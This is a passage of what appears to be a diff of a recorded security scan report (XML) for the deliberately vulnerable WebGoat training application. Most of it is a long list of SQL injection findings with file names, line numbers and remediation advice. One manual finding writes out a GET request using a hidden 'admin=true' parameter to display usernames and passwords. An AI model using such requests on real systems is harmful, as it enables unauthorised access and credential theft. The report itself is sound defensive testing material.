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</data>\n</screenshot>\n<code>The
-        following GET request will display the username and password for users within
-        the application.\n\nGET /WebGoat/attack?Screen=1073550134&amp;menu=2000&amp;admin=true
-        HTTP/1.1\nHost: targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
-        rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
-        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
-        keep-alive\nCookie: JSESSIONID=13984BA559044E0A4610D4AC31B06B27\n</code></appendix></flaw></manualflaws></cwe></category></severity><severity
-        level=\"4\"><category categoryid=\"19\" categoryname=\"SQL Injection\" pcirelated=\"true\"><desc><para
-        text=\"SQL injection vulnerabilities occur when data enters an application
-        from an untrusted source and is used to dynamically construct a SQL query.
-        \ This allows an attacker to manipulate database queries in order to access,
-        modify, or delete arbitrary data.  Depending on the platform, database type,
-        and configuration, it may also be possible to execute administrative operations
-        on the database, access the filesystem, or execute arbitrary system commands.
-        \ SQL injection attacks can also be used to subvert authentication and authorization
-        schemes, which would enable an attacker to gain privileged access to restricted
-        portions of the application.\"/></desc><recommendations><para text=\"Several
-        techniques can be used to prevent SQL injection attacks. These techniques
-        complement each other and address security at different points in the application.
-        Using multiple techniques provides defense-in-depth and minimizes the likelihood
-        of a SQL injection vulnerability.\"><bulletitem text=\"Use parameterized prepared
-        statements rather than dynamically constructing SQL queries.  This will prevent
-        the database from interpreting the contents of bind variables as part of the
-        query and is the most effective defense against SQL injection.\"/><bulletitem
-        text=\"Validate user-supplied input using positive filters (white lists) to
-        ensure that it conforms to the expected format, using centralized data validation
-        routines when possible. \"/><bulletitem text=\"Normalize all user-supplied
-        data before applying filters or regular expressions, or submitting the data
-        to a database. This means that all URL-encoded (%xx), HTML-encoded (&amp;#xx;),
-        or other encoding schemes should be reduced to the internal character representation
-        expected by the application. This prevents attackers from using alternate
-        encoding schemes to bypass filters.\"/><bulletitem text=\"When using database
-        abstraction libraries such as Hibernate, do not assume that all methods exposed
-        by the API will automatically prevent SQL injection attacks.  Most libraries
-        contain methods that pass arbitrary queries to the database in an unsafe manner.\"/></para></recommendations><cwe
-        cweid=\"89\" cwename=\"Improper Neutralization of Special Elements used in
-        an SQL Command ('SQL Injection')\" pcirelated=\"true\"><description><text
-        text=\"This database query contains a SQL injection flaw.  The function call
-        constructs a dynamic SQL query using a variable derived from user-supplied
-        input.  An attacker could exploit this flaw to execute arbitrary SQL queries
-        against the database.\"/></description><staticflaws><flaw severity=\"4\" categoryname=\"Improper
-        Neutralization of Special Elements used in an SQL Command ('SQL Injection')\"
-        count=\"1\" issueid=\"126\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.Statement.executeUpdate\"
-        description=\"This database query contains a SQL injection flaw. The call
-        to java.sql.Statement.executeUpdate() constructs a dynamic SQL query using
-        a variable derived from user-supplied input. An attacker could exploit this
-        flaw to execute arbitrary SQL queries against the database. The first argument
-        to executeUpdate() contains tainted data from the variable arrSQL. The tainted
-        data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
-        dynamically constructing SQL queries. Instead, use parameterized prepared
-        statements to prevent the database from interpreting the contents of bind
-        variables as part of the query. Always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
-        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
-        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"BackDoors.java\" line=\"106\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.BackDoors\" functionprototype=\"apache.ecs.Element
-        concept1(session.WebSession)\" functionrelativelocation=\"26\"><exploitability_adjustments><exploitability_adjustment
-        score_adjustment=\"1\"><note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
-        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"91\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"java.sql.Statement.executeQuery\" description=\"This database query
-        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
-        constructs a dynamic SQL query using a variable derived from user-supplied
-        input. An attacker could exploit this flaw to execute arbitrary SQL queries
-        against the database. The first argument to executeQuery() contains tainted
-        data from the variable arrSQL. The tainted data originated from an earlier
-        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
-        constructing SQL queries. Instead, use parameterized prepared statements to
-        prevent the database from interpreting the contents of bind variables as part
-        of the query. Always validate user-supplied input to ensure that it conforms
-        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
-        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
-        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"BackDoors.java\" line=\"113\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.BackDoors\" functionprototype=\"apache.ecs.Element
-        concept1(session.WebSession)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
-        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"236\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"java.sql.Statement.executeQuery\" description=\"This database query
-        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
-        constructs a dynamic SQL query using a variable derived from user-supplied
-        input. An attacker could exploit this flaw to execute arbitrary SQL queries
-        against the database. The first argument to executeQuery() contains tainted
-        data from the variable query. The tainted data originated from an earlier
-        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
-        constructing SQL queries. Instead, use parameterized prepared statements to
-        prevent the database from interpreting the contents of bind variables as part
-        of the query. Always validate user-supplied input to ensure that it conforms
-        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
-        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
-        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"BlindSqlInjection.java\" line=\"122\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.BlindSqlInjection\" functionprototype=\"apache.ecs.Element
-        createContent(session.WebSession)\" functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
-        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"148\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"java.sql.Statement.executeQuery\" description=\"This database query
-        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
-        constructs a dynamic SQL query using a variable derived from user-supplied
-        input. An attacker could exploit this flaw to execute arbitrary SQL queries
-        against the database. The first argument to executeQuery() contains tainted
-        data from the variable query. The tainted data originated from an earlier
-        call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nAvoid dynamically
-        constructing SQL queries. Instead, use parameterized prepared statements to
-        prevent the database from interpreting the contents of bind variables as part
-        of the query. Always validate user-supplied input to ensure that it conforms
-        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
-        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
-        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"Challenge2Screen.java\" line=\"220\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.Challenge2Screen\" functionprototype=\"apache.ecs.Element
-        doStage2(session.WebSession)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
-        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"66\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"java.sql.Statement.executeQuery\" description=\"This database query
-        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
-        constructs a dynamic SQL query using a variable derived from user-supplied
-        input. An attacker could exploit this flaw to execute arbitrary SQL queries
-        against the database. The first argument to executeQuery() contains tainted
-        data from the variable query. The tainted data originated from an earlier
-        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
-        constructing SQL queries. Instead, use parameterized prepared statements to
-        prevent the database from interpreting the contents of bind variables as part
-        of the query. Always validate user-supplied input to ensure that it conforms
-        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
-        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
-        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"DOS_Login.java\" line=\"114\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.DOS_Login\" functionprototype=\"apache.ecs.Element
-        createContent(session.WebSession)\" functionrelativelocation=\"26\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
-        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"245\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
-        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
-        constructs a dynamic SQL query using a variable derived from user-supplied
-        input. An attacker could exploit this flaw to execute arbitrary SQL queries
-        against the database. The first argument to executeUpdate() contains tainted
-        data from the variable insertData1. The tainted data originated from an earlier
-        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
-        constructing SQL queries. Instead, use parameterized prepared statements to
-        prevent the database from interpreting the contents of bind variables as part
-        of the query. Always validate user-supplied input to ensure that it conforms
-        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
-        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
-        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"DOS_Login.java\" line=\"134\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.DOS_Login\" functionprototype=\"apache.ecs.Element
-        createContent(session.WebSession)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
-        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"206\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"java.sql.Statement.executeQuery\" description=\"This database query
-        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
-        constructs a dynamic SQL query using a variable derived from user-supplied
-        input. An attacker could exploit this flaw to execute arbitrary SQL queries
-        against the database. The first argument to executeQuery() contains tainted
-        data from the variable query. The tainted data originated from an earlier
-        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
-        constructing SQL queries. Instead, use parameterized prepared statements to
-        prevent the database from interpreting the contents of bind variables as part
-        of the query. Always validate user-supplied input to ensure that it conforms
-        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
-        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
-        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"Login.java\" line=\"148\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
-        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.Login\" functionprototype=\"byte
-        login(session.WebSession, int, java.lang.String)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
-        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"75\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"java.sql.Statement.executeQuery\" description=\"This database query
-        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
-        constructs a dynamic SQL query using a variable derived from user-supplied
-        input. An attacker could exploit this flaw to execute arbitrary SQL queries
-        against the database. The first argument to executeQuery() contains tainted
-        data from the variable query. The tainted data originated from an earlier
-        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
-        constructing SQL queries. Instead, use parameterized prepared statements to
-        prevent the database from interpreting the contents of bind variables as part
-        of the query. Always validate user-supplied input to ensure that it conforms
-        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
-        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
-        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"Login.java\" line=\"149\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\"
-        scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\" functionprototype=\"byte
-        login(session.WebSession, java.lang.String, java.lang.String)\" functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
-        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"106\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"java.sql.Statement.executeQuery\" description=\"This database query
-        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
-        constructs a dynamic SQL query using a variable derived from user-supplied
-        input. An attacker could exploit this flaw to execute arbitrary SQL queries
-        against the database. The first argument to executeQuery() contains tainted
-        data from the variable query. The tainted data originated from an earlier
-        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
-        constructing SQL queries. Instead, use parameterized prepared statements to
-        prevent the database from interpreting the contents of bind variables as part
-        of the query. Always validate user-supplied input to ensure that it conforms
-        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
-        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
-        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"Login.java\" line=\"191\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\"
-        scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\" functionprototype=\"byte
-        login_BACKUP(session.WebSession, java.lang.String, java.lang.String)\" functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
-        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"247\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"java.sql.Statement.executeQuery\" description=\"This database query
-        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
-        constructs a dynamic SQL query using a variable derived from user-supplied
-        input. An attacker could exploit this flaw to execute arbitrary SQL queries
-        against the database. The first argument to executeQuery() contains tainted
-        data from the variable query. The tainted data originated from an earlier
-        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
-        constructing SQL queries. Instead, use parameterized prepared statements to
-        prevent the database from interpreting the contents of bind variables as part
-        of the query. Always validate user-supplied input to ensure that it conforms
-        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
-        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
-        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"SqlNumericInjection.java\" line=\"130\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.SqlNumericInjection\" functionprototype=\"apache.ecs.Element
-        injectableQuery(session.WebSession)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
-        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"165\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"java.sql.Statement.executeQuery\" description=\"This database query
-        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
-        constructs a dynamic SQL query using a variable derived from user-supplied
-        input. An attacker could exploit this flaw to execute arbitrary SQL queries
-        against the database. The first argument to executeQuery() contains tainted
-        data from the variable query. The tainted data originated from an earlier
-        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
-        constructing SQL queries. Instead, use parameterized prepared statements to
-        prevent the database from interpreting the contents of bind variables as part
-        of the query. Always validate user-supplied input to ensure that it conforms
-        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
-        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
-        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"SqlStringInjection.java\" line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.SqlStringInjection\" functionprototype=\"apache.ecs.Element
-        injectableQuery(session.WebSession)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
-        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"225\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"java.sql.Statement.executeQuery\" description=\"This database query
-        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
-        constructs a dynamic SQL query using a variable derived from user-supplied
-        input. An attacker could exploit this flaw to execute arbitrary SQL queries
-        against the database. The first argument to executeQuery() contains tainted
-        data from the variable query. The tainted data originated from an earlier
-        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
-        constructing SQL queries. Instead, use parameterized prepared statements to
-        prevent the database from interpreting the contents of bind variables as part
-        of the query. Always validate user-supplied input to ensure that it conforms
-        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
-        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
-        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ThreadSafetyProblem.java\" line=\"103\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.ThreadSafetyProblem\" functionprototype=\"apache.ecs.Element
-        createContent(session.WebSession)\" functionrelativelocation=\"53\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
-        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"71\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"java.sql.Statement.executeQuery\" description=\"This database query
-        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
-        constructs a dynamic SQL query using a variable derived from user-supplied
-        input. An attacker could exploit this flaw to execute arbitrary SQL queries
-        against the database. The first argument to executeQuery() contains tainted
-        data from the variable query. The tainted data originated from an earlier
-        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
-        constructing SQL queries. Instead, use parameterized prepared statements to
-        prevent the database from interpreting the contents of bind variables as part
-        of the query. Always validate user-supplied input to ensure that it conforms
-        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
-        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
-        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
